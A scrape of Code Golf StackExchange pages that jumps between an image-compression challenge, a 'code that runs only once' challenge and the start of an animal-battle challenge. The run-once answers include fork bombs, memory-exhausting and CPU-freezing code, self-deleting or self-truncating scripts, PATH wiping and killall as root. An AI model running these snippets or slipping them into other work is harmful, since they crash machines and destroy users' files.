..+.g..\.%Cy...k 0000320: 5be5 d087 b50e b47f 96bf 3593 73d8 c8a2 [.........5.s... 0000330: 5d6f 5fb5 7c7d ed7b 3814 e844 6f11 5ff2 ]o_.|}.{8..Do._. 0000340: c2d3 55c3 961e 4ccd e45b 39a7 cd2f f9d0 ..U...L..[9../.. 0000350: c218 a9eb a0c5 b38d f1aa b279 6854 e47e ...........yhT.~ 0000360: a988 3876 5302 a832 0093 e10e c225 4278 ..8vS..2.....%Bx 0000370: c760 f39d bd1f b941 fc98 03bf 5082 d39c .`.....A....P... 0000380: f97b 06a8 cc7f 75bf 2496 8660 c553 29e9 .{....u.$..`.S). 0000390: 0a11 463c cd8d 6ba4 93b2 ed22 2ce8 8b58 ..F<..k....",..X 00003a0: 84b9 c243 3e18 7948 8a73 0547 23aa 9991 ...C>.yH.s.G#... 00003b0: 8629 a135 669c 294e f0ce ed95 975d 085d .).5f.)N.....].] 00003c0: 68ba 566c f6f9 f555 2d68 b3da 91a8 9234 h.Vl...U-h.....4 00003d0: e284 d7e5 25a0 6618 3a5f f649 a3c8 f089 ....%.f.:_.I.... 00003e0: 2514 6c21 9119 e4e4 5bba c1f1 49f1 16d0 %.l!....[...I... 00003f0: 979a 88b1 3513 23ae 84e6 9080 82a9 7f0a ....5.#......... ``` Actually, I first did this in Windows `cmd`, but the script did not fit in 1KB. Then I rewrote it in `bash`. Here is the output PNG: [![Image restored from FIASCO](https://i.stack.imgur.com/3ZPou.png)](https://i.stack.imgur.com/3ZPou.png) [Answer] # Ruby, 7834.38 This was fun! I used a ruby generator program to write a ruby script as follows: * Draw a white 386x320 rectangle. * Put the rectangle in a list. Build a ruby file to generate that list of rectangles (only one in this initial case) * While the generated ruby file is less than 1024 bytes: + Search the list for the highest scoring rectangle + Try halving that rectangle horizontally and vertically + Replace that rectangle in the list with whichever pair scored lower + Build a ruby file to generate that list of rectangles Note that my scoring algorithm randomly samples a bunch of colors and picks the one that results in the smallest difference from ORIGINAL.png. As it is probabilistic, I have rerun the script a bunch of times and picked the lowest scoring result. Here's my best script thus far: ``` require 'chunky_png' def r(w,x,y,z,k) c=k*256+255 $p.rect(w,x,y,z,c,c) end $p=ChunkyPNG::Image.new(386,320,255) r(97,160,192,199,7374989) r(0,80,48,159,7045519) r(193,160,289,199,6716560) r(0,220,192,239,2963277) r(338,80,385,159,8623770) r(0,0,48,79,4938368) r(49,0,96,79,4212844) r(193,240,385,259,3756895) r(193,260,385,279,3094854) r(290,0,313,159,5271706) r(314,0,337,159,8555664) r(290,160,337,199,7570058) r(338,160,385,199,3883603) r(193,0,289,39,4674429) r(193,40,289,79,5398918) r(0,240,96,319,2566701) r(97,240,192,319,2041898) r(193,200,289,239,3424622) r(290,200,385,239,4348033) r(97,80,144,159,6124943) r(145,80,192,159,5926550) r(97,0,192,39,4609663) r(97,40,192,79,5334923) r(193,280,385,299,3619650) r(193,300,385,319,3815999) r(49,80,96,119,5334650) r(49,120,96,159,2767683) r(0,200,96,219,3951445) r(97,200,192,219,5860985) r(0,160,48,199,5468034) r(49,160,96,199,2503733) r(193,80,289,119,5599124) r(193,120,289,159,6189974) r(338,0,385,39,7900038) r(338,40,385,79,11317092) $p.save('o.png') ``` It generated the following image, which scored 7834 points: [![Jeremy's entry: 7834 points](https://i.stack.imgur.com/XvBps.png)](https://i.stack.imgur.com/XvBps.png) To see how my algorithm came up with this, here's an animated GIF showing how it splits rectangles: [![Jeremy's entry: How it was built](https://i.stack.imgur.com/uFp9g.gif)](https://i.stack.imgur.com/uFp9g.gif) My code is all up on GitHub at <https://github.com/jrotter/starry_night_contest> [Answer] # Perl, ~~5955.96878124~~ 5149.56218378 Looking at the "unprintable gibberish" approach, I decided I could try that in Perl as well. Again, I don't really know Perl so I'm sure this can be improved (actually, the most obvious improvement, reduction to 7 bytes per ellipse by omitting the alpha channel, has already been implemented for the next version, but I'm still working on other parts of that code; I'm also thinking the whole pop/push business can be golfed more). I don't think this will actually work on Windows machines (I can't test), since I couldn't figure out an easy way to open the DATA section in binary mode -- however it has worked on my linux machines. I was able to basically keep using my same GA code to create: ``` use GD; $X=GD::Image->new(386,320,1); @r=do{$/=\8;<DATA>;}; foreach $r(@r){@x=unpack"CCCCI",$r;$c=pop@x;map{$_*=2}@x;push@x,$c;$X->filledEllipse(@x)} open $h,">","p.png" or die "$!"; binmode $h; print $h $X->png; close($h); __END__ <<unprintable gibberish>> ``` Where the xxd output is: ``` 0000000: 7573 6520 4744 3b0a 2458 3d47 443a 3a49 use GD;.$X=GD::I 0000010: 6d61 6765 2d3e 6e65 7728 3338 362c 3332 mage->new(386,32 0000020: 302c 3129 3b0a 4072 3d64 6f7b 242f 3d5c 0,1);.@r=do{$/=\ 0000030: 383b 3c44 4154 413e 3b7d 3b0a 666f 7265 8;<DATA>;};.fore 0000040: 6163 6820 2472 2840 7229 7b40 783d 756e ach $r(@r){@x=un 0000050: 7061 636b 2243 4343 4349 222c 2472 3b24 pack"CCCCI",$r;$ 0000060: 633d 706f 7040 783b 6d61 707b 245f 2a3d c=pop@x;map{$_*= 0000070: 327d 4078 3b70 7573 6840 782c 2463 3b24 2}@x;push@x,$c;$ 0000080: 582d 3e66 696c 6c65 6445 6c6c 6970 7365 X->filledEllipse 0000090: 2840 7829 7d0a 6f70 656e 2024 682c 223e (@x)}.open $h,"> 00000a0: 222c 2270 2e70 6e67 2220 6f72 2064 6965 ","p.png" or die 00000b0: 2022 2421 223b 0a62 696e 6d6f 6465 2024 "$!";.binmode $ 00000c0: 683b 0a70 7269 6e74 2024 6820 2458 2d3e h;.print $h $X-> 00000d0: 706e 673b 0a63 6c6f 7365 2824 6829 3b0a png;.close($h);. 00000e0: 5f5f 454e 445f 5f0a b252 8e38 3a27 2400 __END__..R.8:'$. 00000f0: 6a48 8c5d 888b 7a00 328e 7684 6c3b 2b00 jH.]..z.2.v.l;+. 0000100: 6063 8e3d 5635 2a00 a996 bf59 8650 3b00 `c.=V5*....Y.P;. 0000110: b26c 1f0f 9b6b 5500 ae19 297e 855d 4a00 .l...kU...)~.]J. 0000120: ae92 af3e 665d 4b00 be8c 480c 3a2c 2500 ...>f]K...H.:,%. 0000130: b465 5d06 432a 2400 b29a 202d 4332 2b00 .e].C*$... -C2+. 0000140: c178 1517 5e58 4c00 5d3e 907a 704b 3900 .x..^XL.]>.zpK9. 0000150: 7754 b903 2921 2000 9148 621e 99a7 a500 wT..)! ..Hb..... 0000160: aa41 6421 9ba3 9600 124d b44f 8e6f 5400 .Ad!.....M.O.oT. 0000170: 7f88 1f53 512e 2400 5c33 6c97 5b33 2800 ...SQ.$.\3l.[3(. 0000180: 2a4e 8a3e 918b 7400 a231 3c51 9489 7000 *N.>..t..1<Q..p. 0000190: 7a0c 9f11 8f8e 7700 817f 4c20 644d 3b00 z.....w...L dM;. 00001a0: 9742 5229 9eab 9d00 0884 a218 4435 2b00 .BR)........D5+. 00001b0: 749f 834a 4937 2e00 6b2a 8d5d a07b 5b00 t..JI7..k*.].{[. 00001c0: 8626 3b6b 9165 4900 aa20 3b2f 88ab 9c00 .&;k.eI.. ;/.... 00001d0: 8c36 6920 9f76 5500 573e 8359 9979 6000 .6i .vU.W>.Y.y`. 00001e0: 2f1d c08d 8d76 6100 2a9a b216 313d 3400 /....va.*...1=4. 00001f0: 034d 1d18 8b63 4400 b69f 181a 3839 3200 .M...cD.....892. 0000200: 1412 302d 854b 3600 080a 931a 6b3a 2c00 ..0-.K6.....k:,. 0000210: 6400 902b 8b65 5000 003f 321b a088 6e00 d..+.eP..?2...n. 0000220: 1c4d 1f0b 779e 8f00 8127 1f0d 8897 8900 .M..w....'...... 0000230: 5d96 6c16 6057 5100 7537 4c1b 9064 4900 ].l.`WQ.u7L..dI. 0000240: 2da0 6403 6482 8600 3a45 6e07 866b 5000 -.d.d...:En..kP. 0000250: 453f 5c5b 3a37 3100 3659 610f 865a 3f00 E?\[:71.6Ya..Z?. 0000260: bb24 361b 8dac 9b00 b01d 161d 58ae b700 .$6.........X... 0000270: 3c65 5031 785f 4800 330c 5b6f 834b 3700 <eP1x_H.3.[o.K7. 0000280: 4e23 539b 8961 4a00 5926 2c19 9c8c 7c00 N#S..aJ.Y&,...|. 0000290: 3031 980d 9479 6200 2708 431c 8184 7300 01...yb.'.C...s. 00002a0: a89d 1e02 2f26 2300 205f 0d74 2727 1e00 ..../&#. _.t''.. 00002b0: bf33 210f 997b 5c00 1d60 0670 9476 5f00 .3!..{\..`.p.v_. 00002c0: 1f71 107c 292c 2700 5113 940e 7f47 3500 .q.|),'.Q....G5. 00002d0: 7140 4906 9881 6b00 3614 0e3e 8648 3400 [[email protected]](/cdn-cgi/l/email-protection)..>.H4. 00002e0: 940a 0f68 9979 5d00 3471 1229 2223 2200 ...h.y].4q.)"#". 00002f0: 3060 031c 614b 3600 5908 830b 7c73 6200 0`..aK6.Y...|sb. 0000300: 2706 1239 5488 8700 468a 683d 2226 2400 '..9T...F.h="&$. 0000310: 4774 1715 6949 3400 5d9c 4a37 3c3f 4000 Gt..iI4.].J7<?@. 0000320: 5f51 3438 8c6b 5000 4c4e 3d48 8771 5800 _Q48.kP.LN=H.qX. 0000330: 2488 1385 1e22 1e00 5979 3417 5134 2700 $...."..Yy4.Q4'. 0000340: 5030 5622 937d 6700 6c23 1c1c 9672 5c00 P0V".}g.l#...r\. 0000350: 2543 0126 2224 1f00 8c8d 7a01 9171 6600 %C.&"$....z..qf. 0000360: 4932 1012 6341 2d00 3341 1515 7a54 3a00 I2..cA-.3A..zT:. 0000370: 3893 2849 1f22 1f00 798f 7f11 4b3f 3500 8.(I."..y...K?5. 0000380: 6890 4e1d 3530 2b00 6d7b 2b21 6347 3700 h.N.50+.m{+!cG7. 0000390: 4e54 3222 9ca5 9a00 2705 2224 7243 3500 NT2"....'."$rC5. 00003a0: 7705 4c31 7d49 3900 915c 2d0b 9697 8100 w.L1}I9..\-..... 00003b0: 4e3d 221e 9874 5a00 748e 1118 3831 2d00 N="..tZ.t...81-. 00003c0: bf68 340d 9666 5000 9529 0848 9a68 4c00 .h4..fP..).H.hL. 00003d0: 2003 0466 3c2d 2900 5a49 1c4c 916e 5400 ..f<-).ZI.L.nT. 00003e0: 6c60 6008 8e8b 7500 4696 2219 1c20 1d00 l``...u.F.".. .. 00003f0: 7906 1165 8052 3f00 740e 1412 7c7d 6c00 y..e.R?.t...|}l. ``` Which generates the image: [![enter image description here](https://i.stack.imgur.com/XbfKO.png)](https://i.stack.imgur.com/XbfKO.png) It's interesting that even though it scores better, the image looks somewhat worse to me -- there's too much going on with all the extra ellipses, somehow the simpler image is easier to deal with visually. ## Old Results ``` use GD; $X=GD::Image->new(386,320); sub c{$X->colorAllocate(@_);}; sub e{$X->filledEllipse(@_);}; e(0,7,9,4,c(98,122,142)); e(352,168,130,61,c(38,41,57)); e(313,296,319,213,c(44,56,92)); e(281,71,240,257,c(99,127,149)); e(55,266,372,67,c(41,55,96)); e(39,15,281,130,c(55,73,128)); e(235,149,226,90,c(136,156,152)); e(81,55,29,29,c(129,133,89)); e(183,139,285,65,c(58,79,108)); e(368,261,177,130,c(75,97,145)); e(283,270,386,88,c(70,86,99)); e(271,11,322,58,c(86,104,129)); e(254,78,185,200,c(90,116,151)); e(29,16,34,35,c(119,135,130)); e(195,311,297,189,c(51,69,98)); e(234,19,150,89,c(58,75,126)); e(286,313,286,108,c(49,56,68)); e(232,30,40,31,c(114,130,122)); e(375,145,106,32,c(159,172,160)); e(59,16,21,141,c(43,53,90)); e(66,135,21,108,c(39,45,43)); e(353,53,84,80,c(167,172,117)); e(196,122,150,137,c(86,110,145)); e(101,320,284,185,c(48,55,59)); e(79,193,73,114,c(36,42,42)); e(106,310,126,191,c(31,35,33)); e(119,169,70,56,c(128,144,150)); open $h,">","p.png" or die "$!"; binmode $h; print $h $X->png; close($h); ``` [![enter image description here](https://i.stack.imgur.com/9uxEm.png)](https://i.stack.imgur.com/9uxEm.png) After seeing [jamieguinan's answer](https://codegolf.stackexchange.com/a/70503/49472), I used ellipses as a drawing primitive since in Perl I have access to the GD library for drawing. I am not a Perl expert at all, so any suggestions would be useful. I used a genetic algorithm which was modified from [my C++ answer](https://codegolf.stackexchange.com/a/70194/49472). It seems to work okay, but honestly I am a bit disappointed in the score. I could probably let it run a little longer since you can easily see that a few ellipses are not in optimal positions. However, even now it looks nicer to my eyes compared to the rectangle-based solution. [Answer] ## Java, 9215.38294502 Reading the image as a GIF with a size of 8x6 pixels(!) from a Base64-encoded String (containing 368 characters), and scaling it up bilinearly. ``` import java.awt.*; import java.awt.image.*; import static java.awt.RenderingHints.*; import java.io.*; import java.util.*; import javax.imageio.*; class S { public static void main(String[] a) throws Exception { BufferedImage r=new BufferedImage(386, 320, 2); Graphics2D g=r.createGraphics(); g.setRenderingHint(KEY_INTERPOLATION,VALUE_INTERPOLATION_BILINEAR); g.drawImage(ImageIO.read(new ByteArrayInputStream(Base64.getDecoder().decode("R0lGODlhCAAGAPUAABMXFxIfHxQZGBcZHRgcGRwfKhssIB0iMC4kGicwOy06PzA6OS8zSjY7SztHQThZVzJCcFdgUFJhdFZrfSo7ny1AgC9Mjz1XjT1ZqkRNgUFVj0BeiEJUmEFhjkJtnlJwnGd8mXF+gmF9plyGqW6Gk26KmHSJmnuSn32Zl6C1e7u/dYGNkYCVnZOahI6gmYaiuhMXFxMXFxMXFxMXFxMXFxMXFxMXFxMXFxMXFxMXFxMXFxMXFxMXFxMXFxMXFxMXFywAAAAACAAGAEUIOQBfZMBQwYQGFCkoEACQQIKDBxFIGOAA4sIHES0ghJjQwQKLESpWLDjhwUWJDQ0UBBCAYEABBgcCAgA7"))), 0, 0, 386, 320, null); g.dispose(); ImageIO.write(r, "PNG", new File("RESULT.PNG")); } } ``` EDIT: The result, as per request in the comments, is shown in this image: [![StarryNight](https://i.stack.imgur.com/dv8vo.png)](https://i.stack.imgur.com/dv8vo.png) [Answer] ## Python 3, 5797.125628604383 The compression program first truncates the bits of the image, and then converts base 2 to base 36. The decode program does that in reverse, and re-sizes the image. ``` from PIL.Image import new K=bin(int('29zoubbejrojv5nc2c09w8008mmc93di8nsq75g5ep83xtelg14ua2jvhm6ez5gry7isq1g82qvqezkbvl0ibovc6kltldjgklqeg7g5oyfefamfrvei712jnrd8a2ften12xme2bfh654a6r8kfe5xtckpxxt60pujhs02r0zt9a733ofmyhsprmxw9max72f9az1cpsa48szbbi3cl0ah4tusuuin49vtzambzv8omzfa0lt9wkot1p17trvvvvwmrf31g14vvs59ea3uo3k2ycgibgxwnd7qbv6enrynzwhng30thklvk4mvrhf66ba0gqnyf0do6xn9xfjker8fnpr79zac6tsowm6oohszjc16k3a8iisv7yj7i67aq6r7f629zldmv9l816azzu96jikqaw02icsv9b79yy73gbvw0scid9266hph04m6nb3lae5a59d6djauw38i1wtd7qqn17uxugi4r52y0cfpjsb444uj30gih7jmek26uhdn41w2b2g0y34xl1kgxegkjtj6iq1u3k3zk34qtw76hysxj6jl7qrj908pa5vcao6m4i4m2h8sg4ir10mh1y315bakfag611ilwy7y569jh18ydabo5zgdyr7m5vcc9dqxj63nu2s67urqui8gnqu9u40hahyehqu9ugtqf8ab0m1v4fu5pr88k6ch7ep0echekocg78za1f74ladjgm',36))[3:] a=[] for x in range(0,len(K),18): Y=K[x:x+18] y=[Y[0:6],Y[6:12],Y[12:18]] for x in range(0,3): y[x]=int(y[x],2)*8 a.append(tuple(y)) i=new('RGB',(16,13)) i.putdata(a) i.resize((386,320),1).save('2.png') ``` [![enter image description here](https://i.stack.imgur.com/QWSC8.png)](https://i.stack.imgur.com/QWSC8.png) ]
[Question] [ **Goal** The goal of this challenge is to write code that will execute once and only once. This means basically that it damages the program, script, or environment in some way. If rebooting the system allows the code to run again that is permitted. **Scoring** Number of votes. All assumptions must be clearly listed. Any answers just initiating a reboot or halt will be disqualified. **Additional Rules because Greg Hewgill is a demi-god** No root access is permitted. **End Date** The contest will close on May 31, 2014. **Edit** This contest has been changed to popularity contest. [Answer] ## [Vigil](https://github.com/munificent/vigil) Finally a usecase for Vigil! ``` def main(): raise Exception() ``` Excerpt from the "language specification": > > It goes without saying that any function that throws an exception which isn't caught is *wrong* and must be punished. > > > ... > > > If an oath is broken, the offending function [...] *will be duly punished.* > > > How? > > > **Simple: it will be deleted from your source code.** > > > The only way to ensure your program meets its requirements to absolutely forbid code that fails to do so. With Vigil, it will do this for you *automatically.* > > > There are other ways to do this, because Vigil provides the keywords `implore` and `swear` which are basically oaths to adhere to certain pre- and post-conditions: ``` def main(): swear 0 > 1 ``` [Answer] # Pretty much any Linux distro, 9 chars This one is a classic! ``` #!/bin/rm ``` Put this in a file and run it: ``` > ed a #!/bin/rm . wq foo > ls Mail mbox foo > chmod 777 foo > ./foo > ls Mail mbox ``` Aaand it's gone! As to what is going on: I'm really just running `rm`! `#!` is called a [shebang](http://en.wikipedia.org/wiki/Shebang_%28Unix%29). And if you put one of these followed by a path to some executable as the first line in your script, the program loader will execute your script file with whatever you wrote there - the default is usually `#!/bin/bash` or `#!/bin/sh` (Bourne-again shell / Bourne shell). The first argument passed to this script will be the filename itself (which is why you see so many solutions including `%0` or `$0` and the likes in here); so by making my file contain `#!/bin/rm` and running it, all I'm doing is passing the filename of my file to `rm`. [Answer] # x86 binary, 4 bytes ``` F0 0F C7 C8 ``` Assumption: Must be run on a P5 Pentium CPU. The above instruction is commonly known as the [F00F bug](http://en.wikipedia.org/wiki/Pentium_F00F_bug). It attempts to execute an invalid instruction, prefixed with *lock*. This freezes the CPU up completely (not a halt nor a reboot) and it doesn't even require root access. [Answer] # Bash, 5 ``` >"$0" ``` Truncates itself to zero length. If the filename doesn't contain spaces, `>$0` works for **3 chars**! [Answer] # gzip ``` #!/bin/gzip ``` To much annoyance to people used to nondestructive commandline tools, `gzip` by default ruins the original file, replacing it with a gzipped version (adding a suffix). This is a variation on the `#!/bin/rm` option, except this one is recoverable by manual human intervention (call `gunzip` on it). As a special bonus, the resulting file is much longer than the original (the difference depends on the filename length). Warning: location of `gzip` may vary. EDIT: as pointed out by WChargin, this is more portable: ``` #!/usr/bin/env gzip ``` The rest of the file can have any content. It's essentially a file that, when called, hides itself in a box and refuses to come out until you forcibly unpack it. [Answer] # Bash, ~~13~~ 12 Not the shortest, but it doesn't actually delete the file or make the system unusable. ``` chmod 0 "$0" ``` If the filename doesn't contain spaces, you can remove the quotes to save 2 chars. ## Explanation It removes all permissions (`rwx`) from itself. When you attempt to run it, or even view its code, a second time, without manually restoring the permissions, it will say something like ``` bash: <FILENAME>: Permission denied ``` Restore the permissions with ``` chmod +rwx <FILENAME> ``` ## Old version Only removes execute permissions, but one char longer (this was a [code-golf](/questions/tagged/code-golf "show questions tagged 'code-golf'") question before it got changed to [popularity-contest](/questions/tagged/popularity-contest "show questions tagged 'popularity-contest'")): ``` chmod -x "$0" ``` ## Sneaky version by Łukasz Niemier ``` #!/bin/chmod 0 ``` [Answer] # 6800 machine code - 1 byte ``` 0xDD ``` This is known as HCF or [Halt and Catch Fire](http://en.wikipedia.org/wiki/Halt_and_Catch_Fire#Motorola_6800) [Answer] # Shell + sed, 16 bytes Not quite as destructive as some of the other answers ;-) This script inserts a comment `#` at the beginning of every line of itself: ``` sed -i s/^/#/ $0 ``` [Answer] ## Commodore 64 BASIC This one doesn't delete the program. ``` 1 POKE 2048,1 ``` ![Self-destruct](https://i.stack.imgur.com/IAqIJ.png) According to the [Commodore 64 memory map](http://sta.c64.org/cbm64mem.html), address`2048`is unused, but it must contain a value of `0` so that the BASIC program can be RUN. [Answer] Assumption: Running Solaris, logged in as root ``` killall ``` [Answer] # Batch: 5 Bytes ``` %0|%0 ``` It is basically the forkbomb for Windows. The app starts its first argument twice. Don't run it in a productive environment ;) [Answer] # Python, 18 ``` open(__file__,'w') ``` Truncates the file by opening it in write-only mode. [Answer] # JavaScript ``` localStorage.x = eval(localStorage.x + localStorage.x) ``` The first time you run it, it'll run fine: ``` >>> localStorage.x = eval(localStorage.x + localStorage.x) NaN ``` If you try to run it more (even if you refresh), you'll get an error: ``` >>> localStorage.x = eval(localStorage.x + localStorage.x) ReferenceError: NaNNaN is not defined ``` [Answer] IBM's CMS Operating System, which is a single-user operating system which runs as a guest under IBM's VM Hypervisor, has an interesting file-structure. Files consist of three elements, File Name, File Type, and File Mode. The File Mode consists of two elements, a single alphabetic, which for ease of explanation can be regarded in a similar way to the Drive Letter for Windows/MS-DOS, and a single numeric digit. The single numeric digit has meaning, <http://publib.boulder.ibm.com/infocenter/zvm/v5r4/index.jsp?topic=/com.ibm.zvm.v54.dmsa3/hcsd0b10127.htm>, and for this task it is the number 3 which is interesting: > > File Mode Number 3 > > File mode number 3 means that files are erased after they are read. You can use file mode number 3 if you do not want to maintain > copies on your minidisks or in your SFS directories. > > > So, spend hours writing your script and file it as `LOST FOREVER A3'. Run it, it works first time. Set off home, job well done. Note, no message is produced indicating the erasure. After all, everyone knows what that `3` means, don't they? It is actually of course very useful. You can, once testing is complete, use the `3` for temporary files, and not have to clean up afterwards, because they are read-once files. [Answer] ## Bash , 12 **Note: This is destructive.** ``` :(){ :|:&};: ``` It's the popular bash fork-bomb. It exponentially eats all memory and PID's locking up the system. A hard-reboot will allow the code to be run again though why would you want to do that? --- ## Bash , 10 ``` :(){ :&};: ``` For two less chars, this eats your memory linearly. --- ## Bash , 7 ``` w;PATH= ``` `w` is chosen as the shortest executable that I could think of. This simply erases the path variable so the shell can't find `/usr/bin/w` the next time. Restarting the shell fixes it as the path is usually stored in `~/.profile` [Answer] ## Commodore 64 BASIC ``` 0 NEW ``` [`NEW`](http://www.c64-wiki.com/index.php/NEW) deletes the program. [Answer] ## C# Shortest code for deleting self ``` Process.Start(new ProcessStartInfo("cmd.exe", "/C choice /C Y /N /D Y /T 3 & Del \"" + Assembly.GetExecutingAssembly().Location + "\"")); ``` Code for making it unnoticeable in the UI ``` Process.Start( new ProcessStartInfo() { Arguments = "/C choice /C Y /N /D Y /T 3 & Del \"" + Assembly.GetExecutingAssembly().Location+"\"", WindowStyle = ProcessWindowStyle.Hidden, CreateNoWindow = true, FileName = "cmd.exe" }); ``` [Answer] ## My Name's Shell...PowerShell Classic self destructing message: ``` @' ################################## Project X is a go Meet Eagle 1 at WP Alpha Further comms is hereby prohibited ################################## This message will self destruct in 5 seconds '@ 5..1| %{$_;Sleep 1;} "Goodbye" rm $(.{$MyInvocation.ScriptName}) ``` [Answer] ## Bash (5) ``` rm $0 ``` Assuming you don't have spaces in the filename. [Answer] ## C++ 71 The executable file "golf" is denied permission to run next time. ``` #include <stdlib.h> int main() { system("chmod a-x golf"); return 0; } ``` ## JavaScript/HTML 137, 145 with console test ``` <script id="s"> function h(){ console.log(1); var s=document.getElementById("s"); h=s.innerHTML; h=h.replace("h","g"); s.innerHTML=h; } ``` [Answer] # sh ``` #!/bin/sh curl http://runonce.herokuapp.com/ ``` Will run only once (and it shows "Hello, world!" if it runs), even if you reinstall the system, and put the script again. --- EDIT: I figured I would release a script behind runonce as well. Nothing special, as it wasn't supposed to be released either way, but whatever. ``` <?php $db = pg_connect("[connection information]"); $ip = isset($_SERVER["HTTP_X_FORWARDED_FOR"]) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"]; pg_query("DELETE FROM users WHERE time < now() - interval '1 day'"); $result = pg_query_params($db, "SELECT * FROM users WHERE ip = $1 LIMIT 1", array($ip)); if (!pg_fetch_row($result)) { echo "Hello, world!\n"; pg_query_params($db, "INSERT INTO users (ip) VALUES ($1)", array($ip)); } ``` As well as database schema ``` CREATE TABLE users ( ip inet PRIMARY KEY, time timestamp with time zone NOT NULL DEFAULT now() ); CREATE INDEX ON users (time); ``` The data is stored in Heroku's database, feel free to check [their privacy policy](https://www.heroku.com/policy/privacy) if you like. I don't check the data stored in a database, it's stored purely to allow the code to execute once. [Answer] # **PHP, ~~22~~ 20 chars** ``` <?=unlink(__FILE__); ``` EDIT: Removed two chars at end per comments. [Answer] # [GW-BASIC](//en.wikipedia.org/wiki/GW-BASIC), 20 bytes ``` 1 COLOR 3 2 SCREEN 1 ``` This is a fun one. `COLOR 3` sets the foreground color to cyan. `SCREEN 1` sets the output screen to one that does not have color. Therefore, you can run the program once, but if you try to run it again: [![gif](https://i.stack.imgur.com/zhPCc.gif)](https://i.stack.imgur.com/zhPCc.gif) [Answer] # Ruby,14 It rewrites the source code as the name of the program. ``` IO.write $0,$0 ``` [Answer] **NodeJS - 33 bytes** ``` require('fs').unlink(__filename); ``` [Answer] ## Bash 9 8 Characters ``` nc -l 1& ``` Will only run once, because the port is blocked forever. [Answer] # Batch (6 characters) This is assuming we have permission to delete the file, and of course can be done on Windows (maybe MS-DOS as well). ``` del %0 ``` [Answer] ## Batch, 7 chars **Save unsaved work before trying this.** Assumes either a 64-bit system, or a 32-bit system with <2 GB RAM memory. Must be saved to a .bat or .cmd file before being launched, just entering it in cmd.exe won't work. ``` ^ nul<^ ``` It consumes a full CPU core and fills your RAM memory at a rate of several hundred megabytes per second. If you don't stop it in time (Task Manager), it will consume every byte of RAM on your computer, your entire system will freeze and you can't do anything before you forcibly shut down and restart your computer by means of cutting power or holding the power button down. All credits go to txtechhelp on StackOverflow for this, see more information here: <https://stackoverflow.com/q/23284131/1955334> [Answer] # Sinclair BASIC ``` 10 POKE 23635,255 ``` Moves the address of the BASIC program in memory away from where it should be (203) so the wrong data is found by the interpreter. [Answer] # x86\_64 NASM Assembly for Linux This assembly program replaces itself with its source code. It essentially "decompiles" itself, replacing the binary. ``` SECTION .data source incbin __FILE__ len equ $ - source SECTION .text global _start _start: pop rdi ;number of parameters pop rdi ;path to executable, parameter of unlink and open mov rax, 87 ;unlink syscall cmp rax, 0 jl error mov rax, 2 ;open mov rsi, 0101o ;O_WRONLY O_CREAT mov rdx, 0600o ;permissions on created file syscall cmp rax, 0 jl error mov rdi, rax ;file (return value of open) mov rax, 1 ;write mov rsi, source mov rdx, len syscall cmp rax, 0 jl error mov rax, 60 ;exit mov rdi, 0 ;return code syscall error: mov rax, 60 mov rdi, 1 syscall ``` Compile with: ``` nasm -f elf64 FILENAME ld -m elf_x86_64 FILENAME.o -o FILENAME ``` Or the same thing in C (with inline assembly): ``` #include <stdio.h> extern char src; asm("src: .incbin \"" __FILE__ "\"\n.byte 0"); int main(int argc, char *argv[]) { unlink(argv[0]); FILE *file = fopen(argv[0], "w"); fprintf(file, "%s",&src); fclose(file); return 0; } ``` When run, the program deletes itself, and then writes its source code to the same path as the executable was at. That way, the deleted file can always be retrieved by recompiling, even if you lost the original source code. There must be a better way to do this in C (or maybe not), but I don't know any. Isn't that much better than just having it delete itself! ]
[Question] [ # The Board The **Board** is a two dimensional array of cells. Cells are populated by **Animals**. Every day, all Animals on the Board simultaneously make one move. If two or more Animals move to the same cell, they fight until one remains. The possible moves and attacks are as follows: * **Moves** - { `Move.UP`, `Move.RIGHT`, `Move.DOWN`, `Move.LEFT`, `Move.HOLD` } * **Attacks** - { `Attack.ROCK`, `Attack.PAPER`, `Attack.SCISSORS`, `Attack.SUICIDE` } Animals fight by playing Rock-Paper-Scissors. Standard rules apply but with two modifications. First, you may commit suicide at any time. Second, a tie is broken pseudorandomly. If more than two Animals collide, two are pseudorandomly selected to fight until one remains. # The Players Animal behavior and appearance is as follows. * **Lion** + Represented by the character `L`. Moves `DOWN`, `RIGHT`, then repeats. Pseudorandomly attacks with `PAPER` or `SCISSORS`. * **Bear** + Represented by the character `B`. Moves `DOWN` x 4, `RIGHT` x 4, `UP` x 4, `LEFT` x 4, then repeats. Attacks with `PAPER`. * **Stone** + Represented by the character `S`. Moves `HOLD`. Attacks with `ROCK`. * **Wolf** + Only wolves that are submitted as an answer will be included. Represented by 'W'. Moves with any Move. Attacks with any Attack You will implement the Wolf by filling in the blanks in the following template. All submissions must be in Java and must be contained in a single file. Alternatively, @ProgrammerDan has written a [wrapper class](https://codegolf.stackexchange.com/a/25375/18487) that extends the competition to non-java submissions. ``` // Optional code here public class Wolf extends Animal { // Optional code here public Wolf() { super('W'); /* Optional code here */ } public Attack fight(char opponent) { /* Required code here. Must return an Attack. */ } public Move move() { /* Required code here. Must return a Move. */ } // Optional code here } ``` The submission with the highest average number of living wolves after five trials with 1,000 iterations wins. I will update the winner each time a new answer is posted (but not within the first 24 hours). # Tools * You are provided with a small map of your immediate surroundings in the following form. + `char[][] surroundings` A zero indexed, 3 by 3 matrix of characters that represent nearby animals. Empty tiles are represented by a space character (' '). You are at `surroundings[1][1]`. For example, to your right would be `surroundings[1][2]`, and above you is `surroundings[0][1]`. Your surroundings are updated just before being asked to move, but may be out of date when asked to fight. * You may persist data between invocations of your Wolf, Move requests, and Attack requests. You may neither read from nor modify files created by another Wolf class. * You are provided with the size of the map in the following form + `int MAP_SIZE` # Assumptions * All submission will compete on the same board against all other submissions as well as Lions, Bears, and Stones * The board is a square with sides of length `sqrt(n+3)*20` where `n` is the number of submissions. All sides wrap, so you can safely move in any direction infinitely. * Simulation begins at ~25% board capacity with 100 of each Animal pseudorandomly distributed across the board. * If an Animal throws an exception when asked to move, that Animal will `HOLD` * If an Animal throws an exception when asked to fight, that Animal will `SUICIDE` * If an Animal has no letter when the controller checks, that Animal will immediately die # Getting Started and Testing Instructions The tools you need to test your submission can be found [here](https://drive.google.com/folderview?id=0B9-BgC2f4NV-aTlhZ1VudFpMdnM&usp=sharing). The following files should be available at that link. * **ExampleRun.gif** - A 5-10 second gif of the program running. * **Scoreboard** - The latest results of the competition. * **Wild.jar** - An executable that you can run to watch the premade Animals run around. * **Wild.zip** - The NetBeans project that houses the controller program with a few premade Animals added. Use this to develop your submission. * **WildPopulated.zip** - Same as above, but with and about 40 submissions added for you to test against. The GUI has also 